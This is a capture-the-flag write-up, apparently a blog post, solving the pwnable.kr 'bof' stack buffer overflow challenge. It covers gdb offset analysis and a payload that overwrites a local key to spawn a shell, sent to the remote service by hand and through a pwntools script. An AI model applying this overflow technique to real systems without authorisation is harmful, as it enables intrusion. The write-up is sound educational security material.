Pwnable.kr - bof

We continue our beginner series on Binary Exploitation with pwnable.kr, which has a reasonable difficulty curve, making it ideal for learning.
Let’s go for this 3rd challenge: bof.
Challenge Description
Bof
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
Buffer Overflow
If you are unfamiliar with Buffer Overflow, I recommend you read my previous post on what a buffer overflow is and how it can be exploited.
With that in mind, let’s begin our analysis!
Test & Analysis
As usual, we can retrieve the binary and its source code:
1 | [hg8@archbook ~]$ wget http://pwnable.kr/bin/bof |
The program simply takes an input and prints “Nah..”:
1 | [hg8@archbook ~]$ ./bof |
If we input a longer string, the program crashes:
1 | [hg8@archbook ~]$ ./bof |
Source Code Analysis
The source code is quite straightforward and consists of only two functions:
1 |
|
Let’s break it down:
1 | int main(int argc, char* argv[]){ |
The main function calls the func function with 0xdeadbeef as a parameter.
1 | void func(int key){ |
The func function gets user input and stores it in a 32-byte buffer. It then compares the function parameter key to the value 0xcafebabe and opens a shell if the comparison succeeds.
However, we don’t have any control over the key variable, since it’s hard-coded and passed by the main function with the value 0xdeadbeef.
We can already see how we need to exploit the program. We must overflow the overflowme buffer until we reach the memory address of the key variable. This way, we should be able to overwrite key‘s value with 0xcafebabe, making the comparison succeed and dropping us a shell to read the challenge flag.
So that was the theory. Let’s now see in practice how we can achieve this.
Dynamic Analysis
We will start with the usual dynamic analysis using gdb to understand what is happening under the hood.
Let’s start by disassembling main():
1 | (gdb) disassemble main |
We can see 0xdeadbeef being moved to esp register before the function func is called:
1 | 0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef |
In the disassembly of func we can find another reference to 0xdeadbeef.
1 | (gdb) disassemble func |
It’s the cmp instruction we are looking for (which corresponds to key == 0xcafebabe):
1 | 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe |
Let’s put a breakpoint on the comparison and run the program:
1 | (gdb) break *0x56555654 |
From the comparison instruction, we know that 0xdeadbeef is stored at ebp+0x8, at 0xffffc860 memory address:
1 | (gdb) x $ebp+0x8 |
The overflowme variable is located at ebp-0x2c based on the LEA instruction. Since it’s a local variable, it’s on a negative offset from ebp:
1 | 0x56555649 <+29>: lea eax,[ebp-0x2c] |
1 | (gdb) x/s $ebp-0x2c |
Now we need to know what’s the distance in memory between overflowme and key since we will have to overflow overflowme buffer to overwrite key content with cafebabe value:
1 | [hg8@archbook ~]$ python3 -c "print(0xffffc860 - 0xffffc82c)" |
52 bytes!
If you are a more visual person, you can see in memory the distance between our input in overflowme variable and the key variable containing 0xdeadbeef we are trying to overwrite:

Exploitation
Manual exploitation
Okay, we now have all the necessary information. Our payload will consist of 52 bytes of padding characters followed by 0xcafebabe. However, since x86 CPUs use the little-endian format for integers, we need to reverse the byte order to \xbe\xba\xfe\xca.
Using Python, we can build the following payload:
1 | import sys |
Let’s try it!
1 | [hg8@archbook ~]$ python3 payload.py| ./bof |
Bummer, nothing happened…
Well, taking a closer look at the C source code, we realize this is expected behavior. The system("/bin/sh"); call starts a shell, but since our script sends its payload and immediately closes its output stream, the new shell has no input and exits instantly.
The trick here is to use cat to keep the input stream open, allowing us to interact with the shell:
1 | [hg8@archbook ~]$ (python3 payload.py;cat)| ./bof |
Bingo! We can now try it against the instance running on pwnable.kr:
1 | [hg8@archbook ~]$ (python3 payload.py;cat) | nc pwnable.kr 9000 |
Using pwntools
Exploitation is quite straightforward using pwntools.
First, we build our payload the same way we did manually:
1 | payload = b"\x41"*52 |
Then we just send it to the server and open an interactive session:
1 | io = remote('pwnable.kr', 9000) |
Final script:
1 | #!/usr/bin/env python |
Running it:
1 | [hg8@archbook ~]$ python3 exploit.py |
That’s it, folks! I hope you enjoyed this entry in my series on Buffer Overflow.
As always, feel free to contact me with any questions or feedback!
See you next time ;)
-hg8